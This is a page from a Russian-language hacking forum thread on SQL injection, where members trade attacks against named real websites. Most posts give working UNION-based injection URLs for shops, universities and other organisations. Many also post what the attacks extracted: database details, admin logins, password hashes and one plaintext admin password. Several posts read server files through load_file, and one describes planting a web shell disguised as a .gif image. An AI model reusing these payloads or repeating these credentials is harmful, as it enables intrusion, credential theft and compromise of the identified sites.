SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
Page 300 of 798
  1. otmorozok428

    otmorozok428 Banned

    Joined:
    19 Oct 2007
    Messages:
    127
    Likes Received:
    88
    Reputations:
    17
    www.kruizmag.ru

    USER(): [email protected]
    DATABASE(): u51317_vbp
    VERSION(): 5.0.51-log

    Таблицы:

    adv_descr
    article
    article_g
    article_gt
    article_t
    banners
    boxes
    category
    category_descr
    compr
    compr_descr
    config
    config_g
    countries
    currency
    faq
    lang
    loadprice
    modules
    news
    news_descr
    nopt2prod
    noption_descr
    noptions
    orders
    place
    prod2cat
    product
    product_descr
    raspisanie
    security
    send_users
    sends
    static
    static_g
    static_gt
    static_t
    tbanners
    vitrina
    vitrina_prod
    voting
    voting_f
     
    #5981 otmorozok428, 17 Jul 2008
  2. _Pantera_

    _Pantera_ Характерне козацтво

    Joined:
    6 Oct 2006
    Messages:
    186
    Likes Received:
    356
    Reputations:
    109
    fromthetop.org pr-6


    Version() - 5.0.45-community-nt
    file_priv = Y

    Сервак стоит на винде....

    PHP:
    http://www.fromthetop.org/Programs/Performers.cfm?pid=-1+union+select+1,2,load_file(char(67,58,47,98,111,111,116,46,105,110,105)),4,5,6,7+from+mysql.user/*
    PHP:
    http://www.fromthetop.org/Programs/Performers.cfm?pid=-1+union+select+1,2,concat(user,char(58),password),4,5,6,7+from+mysql.user/*
    root:*CF57A666D82A1A6E307947399943403DD93CF490 (sha1)
     
    #5982 _Pantera_, 17 Jul 2008
    3 people like this.
  3. sabe

    sabe Elder - Старейшина

    Joined:
    16 Mar 2007
    Messages:
    313
    Likes Received:
    178
    Reputations:
    14
    Choices.edu - PR 6
    Coastal.edu - PR 5
    4.. но )
    rmatthe:363b122c528f54df4a0446b6bab05515 < j
    root:*70994C59F06C06BC6D7AE8284D7B3A0A707F8D67
    смотрим бд..
    ктот попробуйте залить шелл..) ато я убегаю..... чтот тип этого:
    Irhe.upenn.edu - PR 5
    Apps.sais-jhu.edu
     
    #5983 sabe, 17 Jul 2008
    Last edited: 17 Jul 2008
    3 people like this.
  4. Zircool

    Zircool Elder - Старейшина

    Joined:
    1 Mar 2006
    Messages:
    162
    Likes Received:
    37
    Reputations:
    5
    auction.ua

    http://auction.ua/sellitem/rpc.php?o=1957+union+select+1,concat(username,char (58),password),3+from+probid_admins/*

    auctionua:4c527675e9130ae3a6f0eea1fd9acfe5


    http://auction.ua/sellitem/rpc.php?o=1957+union+select+1,concat(username,char(58),password),3+from+probid_users/*
     
    #5984 Zircool, 18 Jul 2008
    1 person likes this.
  5. FraiDex

    FraiDex Elder - Старейшина

    Joined:
    16 Jun 2006
    Messages:
    193
    Likes Received:
    68
    Reputations:
    -11
    Code:
    http://www.f1-world.ru/news/news.php3?idnews=-807061930+union+select+1,TABLE_NAME,3,4,5,6,7,8,9,10,11%20from%20INFORMATION_SCHEMA.TABLES%20limit%2052,1/*
    если не лень то можете продолжить
    вот те таблицы, которые я подобрал.
    Code:
    CHARACTER_SETS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
KEY_COLUMN_USAGE
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
STATISTICS
TABLES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIVILEGES
VIEWS
1
2
3
4
a_settings
articles
cards
cmess
cusrs
drvinfo
drvyears
fusers
g10qwe
g10users
g12qwe
g12teams
g12users
g15_parts
g15_teams
g20sessions
g20users
g20vopros
g20vopros_old
g21drivers
g21sessions
g21users
images
imagesections
img2003
messages
mg_news
news
news2001_2007
res2004
res2004m
res2004com
res2004drv
    самое интересно, что от сайта есть электронный магаз
    http://www.mirf1.ru/

    на котором тож имеется дырочка
    Code:
    http://www.mirf1.ru/prview.php3?lnk=61&idp=1167'
    version() - 5.0.24
    user() - f1world_rw@localhost
    database() - f1world
     
    #5985 FraiDex, 18 Jul 2008
  6. sabe

    sabe Elder - Старейшина

    Joined:
    16 Mar 2007
    Messages:
    313
    Likes Received:
    178
    Reputations:
    14
    CCC.uga.edu - PR 5
    4.0.16


    Monitor-nhsft.gov.uk - PR 5
    нече интересного в БД не нашел..
     
    #5986 sabe, 18 Jul 2008
    Last edited: 18 Jul 2008
  7. Calcutta

    Calcutta Elder - Старейшина

    Joined:
    6 Aug 2007
    Messages:
    343
    Likes Received:
    243
    Reputations:
    36
    http://tehno.allmoskow.ru/site.php?id=-1+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24--
     
    #5987 Calcutta, 18 Jul 2008
  8. Calcutta

    Calcutta Elder - Старейшина

    Joined:
    6 Aug 2007
    Messages:
    343
    Likes Received:
    243
    Reputations:
    36
    http://kadabraabra.info/newslenta.php?men=4573+union+select+1,2,concat_ws(0x3a,table_name),4,5,6,7+from+information_schema.tables+limit+0,1--

    скорость до сайта ужасная, раскручивать очень долго Х_х
     
    #5988 Calcutta, 18 Jul 2008
  9. BlackSun

    BlackSun Banned

    Joined:
    1 Apr 2007
    Messages:
    989
    Likes Received:
    1,168
    Reputations:
    446
    http://www.etc-llibres.com/pg.php?id=1&ic=-1/**/union/**/select/**/concat(user(),char(0),database(),char(0),version()),2/*
    http://www.screenroom.co.uk/php/id.asp?id=1/**/or/**/1=(select%20db_name())--
    http://www2.mat.dtu.dk/people/uk.php?id=-1/**/union/**/select/**/1,user()--
     
    #5989 BlackSun, 18 Jul 2008
  10. sabe

    sabe Elder - Старейшина

    Joined:
    16 Mar 2007
    Messages:
    313
    Likes Received:
    178
    Reputations:
    14
    Ian.cc - PR 4
     
    #5990 sabe, 18 Jul 2008
    Last edited: 18 Jul 2008
  11. Zircool

    Zircool Elder - Старейшина

    Joined:
    1 Mar 2006
    Messages:
    162
    Likes Received:
    37
    Reputations:
    5
    ucluba.ru

    Crazy:667788 - логин и пароль админа.
    Админка находится по адресу.

     
    #5991 Zircool, 19 Jul 2008
    2 people like this.
  12. warlok

    warlok Elder - Старейшина

    Joined:
    17 Feb 2008
    Messages:
    328
    Likes Received:
    142
    Reputations:
    81
    _http://ks.intercom.ru/news/?id=-75+union+select+1,2,3,version(),5,6/*
    version() - 4.0.17
    user() - intercom@localhost
    database() - intercom
     
    #5992 warlok, 19 Jul 2008
    2 people like this.
  13. %00

    %00 Member

    Joined:
    6 May 2008
    Messages:
    2
    Likes Received:
    28
    Reputations:
    5
    www.castlerockgc.co.uk pr 3
    Code:
    http://www.castlerockgc.co.uk/index.php?id=-10/**/union/**/select/**/1,2,version(),4/*
    4.1.22-standard
     
    #5993 %00, 20 Jul 2008
  14. $n@ke

    $n@ke Elder - Старейшина

    Joined:
    18 Sep 2006
    Messages:
    696
    Likes Received:
    404
    Reputations:
    134
    EDU

    Database Version: 4.0.20-max
    Database name: ae_webpage
    User name: webpage@localhost

    побрутил таблицы, ничего не брутанулось обычным словарем.
     
    #5994 $n@ke, 20 Jul 2008
    2 people like this.
  15. tor4)

    tor4) Elder - Старейшина

    Joined:
    27 May 2008
    Messages:
    45
    Likes Received:
    21
    Reputations:
    -6
    cms bitrixs

    http://www.romantrahtenberg.ru/


    http://www.romantrahtenberg.ru/catalog/video/element.php?el_id=-19984+union+select+1,2,3,4,5,6,7,8,9,10,11,version(),13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32/*

    Подобрать не получилось, (((
     
    #5995 tor4), 21 Jul 2008
  16. ~!DoK_tOR!~

    ~!DoK_tOR!~ Banned

    Joined:
    10 Nov 2006
    Messages:
    673
    Likes Received:
    357
    Reputations:
    44
    там 5 колонок

    Code:
    http://www.romantrahtenberg.ru/catalog/video/element.php?el_id=-19984+union+select+1,2,3,4,5/*
     
    #5996 ~!DoK_tOR!~, 21 Jul 2008
  17. slider

    slider Reservists Of Antichat

    Joined:
    4 Sep 2005
    Messages:
    501
    Likes Received:
    711
    Reputations:
    748
    гы этж битрикс.... ))
    прева b_ , таблы login и пассворд

    _http://www.romantrahtenberg.ru/catalog/video/element.php?el_id=-19984+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,AES_DECRYPT(AES_ENCRYPT(CONCAT((SELECT+CONCAT(login,char(59),password)+FROM+b_user+LIMIT+0,1)),0x71),0x71),18,19,20,21,22,23,24,25,26,27,28,29,30,31,32/*

    Валим в админку .... и через смалики на форуме заливаемс элегантный шелленг:

    _http://www.romantrahtenberg.ru/bitrix/images/forum/icon/mod_abble.php.gif


    конфиги:

     
    #5997 slider, 21 Jul 2008
    Last edited: 21 Jul 2008
    3 people like this.
  18. tor4)

    tor4) Elder - Старейшина

    Joined:
    27 May 2008
    Messages:
    45
    Likes Received:
    21
    Reputations:
    -6
    )) спс.

    вывод есть как из комментариев так и в название

    шел почемуто не нашол.
     
    #5998 tor4), 21 Jul 2008
    Last edited: 21 Jul 2008
  19. Cmucl

    Cmucl Member

    Joined:
    21 Jun 2008
    Messages:
    12
    Likes Received:
    8
    Reputations:
    0
    http://www.inderscience.com/

    Database Version: 4.1.15-Debian_0.dotdeb.4-log
    Database name: papers
    User name: santiago@localhost

    [1]:root:01957ef668e6d197
    [2]:root:
    [3]:debian-sys-maint:6b67408243591682
    [4]:santiago:67988dfe49fa907a
    [5]:gringo:6b39e3a056217c98
    [6]:idsonsusy:20cc5448310bcc55
    [7]:webmaster:11e578da277c0f17
    [8]:bizshoe:2bf7d9725ea14fce

    http://www.inderscience.com/mapper.php?id=31 UNION SELECT 1,2,AES_DECRYPT(AES_ENCRYPT(CONCAT(0x7873716C696E6A626567696E,LOAD_FILE(0x2F7661722F7777772F617061636865322D64656661756C742F6874646F63732F696E6465782E706870),0x7873716C696E6A656E64),0x71),0x71) LIMIT 1,1/* - чтение сорсов.

    Google Page Rank - 7
     
    #5999 Cmucl, 21 Jul 2008
    Last edited: 22 Jul 2008
    4 people like this.
  20. Calcutta

    Calcutta Elder - Старейшина

    Joined:
    6 Aug 2007
    Messages:
    343
    Likes Received:
    243
    Reputations:
    36
    http://chelzoo.ru/board_more.php?start=3296&rub=-1/**/union/**/select/**/1,concat_ws(0x3a,version(),user())--

    4.0.27
    chelzooru@localhost
     
    #6000 Calcutta, 21 Jul 2008
(You must log in or sign up to post here.)
Page 300 of 798
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.